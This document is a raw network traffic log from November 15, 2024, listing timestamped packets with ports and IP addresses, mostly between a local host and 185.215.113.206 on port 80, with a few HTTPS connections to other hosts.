Nov 15, 2024 16:16:32.522794962 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522802114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522818089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522825003 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522835016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522845030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522850037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522866964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522883892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522891998 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522900105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.522919893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.522941113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523210049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523226976 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523241997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523255110 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523256063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523272038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523287058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523299932 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523303032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523328066 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523336887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523338079 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523355007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523370981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523386002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523394108 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523401022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523416042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523431063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523446083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523451090 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523459911 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523462057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523480892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523494959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523495913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523518085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523533106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523549080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523564100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523564100 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523564100 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523578882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523593903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523598909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523616076 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523621082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523638010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523648977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523657084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523658991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523659945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523668051 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523672104 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523677111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523691893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523708105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523716927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523720026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523742914 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523746014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523758888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523772955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523776054 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523797035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523813009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523825884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523828030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523844957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523849010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523869038 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523869991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523885965 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523904085 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523907900 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523924112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523938894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523951054 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523960114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523972034 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.523974895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.523993969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524008036 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524008036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524025917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524029970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524051905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524054050 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524076939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524090052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524094105 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524111032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524125099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524142981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524157047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524173021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524193048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524193048 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524195910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524211884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524224997 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524228096 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524245024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524254084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524269104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524280071 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524285078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524301052 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524315119 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524315119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524328947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524336100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524338007 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524344921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524367094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524380922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524382114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524399042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524404049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524415016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524430037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524441957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524445057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524461985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524476051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524477005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524493933 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524499893 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524511099 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.524519920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.524557114 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.539331913 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.565355062 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.565857887 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.565888882 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.567368984 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.567449093 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.567883968 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.567951918 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.568346977 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.568356037 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.568439960 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.568461895 CET	443	49876	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.591547966 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.591962099 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.592060089 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.592077017 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.592525005 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.592868090 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.592940092 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.593043089 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.593163967 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.593185902 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.593291044 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.593312979 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:32.593525887 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.612724066 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.612768888 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.613356113 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.613363028 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.613425970 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.613845110 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.613873005 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.614252090 CET	49881	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.614258051 CET	443	49881	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.614554882 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.614595890 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.614923954 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.614933014 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.622844934 CET	49876	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.628285885 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.629050970 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.629086018 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.629692078 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:32.629697084 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:32.638761997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.638823032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.638837099 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.638880014 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.638895035 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.638916969 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.638937950 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.638984919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639020920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639034986 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639075994 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639076948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639112949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639123917 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639149904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639158010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639194012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639203072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639230967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639238119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639241934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639266014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639273882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639290094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639305115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639328957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639355898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639836073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639889956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639921904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639935017 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.639940977 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.639976025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640012980 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640029907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640034914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640079021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640130997 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640131950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640172005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640177965 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640185118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640212059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640218973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640238047 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640258074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640279055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640314102 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640348911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640360117 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640392065 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640394926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640402079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640430927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640440941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640453100 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640495062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640528917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640541077 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640564919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640584946 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640602112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640635014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640649080 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640655994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640690088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640734911 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640742064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640777111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640784025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640810966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640831947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640845060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640856028 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640881062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640888929 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640916109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640924931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640954018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640965939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.640969038 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.640990973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641019106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641022921 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641073942 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641113043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641124964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641159058 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641165972 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641201973 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641211987 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641237020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641249895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641275883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641288042 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641321898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641330957 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641356945 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641387939 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641392946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641421080 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641427994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641444921 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641462088 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641474009 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641498089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641504049 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641531944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641545057 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641571045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641576052 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641607046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641617060 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641640902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641659975 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641675949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641695023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641716003 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641720057 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641750097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641763926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641786098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641799927 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641819954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641832113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641855001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641861916 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641891956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641902924 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641927004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641937017 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641961098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.641979933 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.641995907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642007113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642030001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642065048 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642077923 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642101049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642113924 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642136097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642148018 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642170906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642182112 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642206907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642215967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642252922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642256021 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642291069 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642299891 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642324924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642334938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642364979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:32.642375946 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.642527103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:32.692398071 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.704369068 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.704437971 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:32.709826946 CET	49875	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:32.709842920 CET	443	49875	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:32.716867924 CET	49884	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:32.716902971 CET	443	49884	20.189.173.8	192.168.2.5
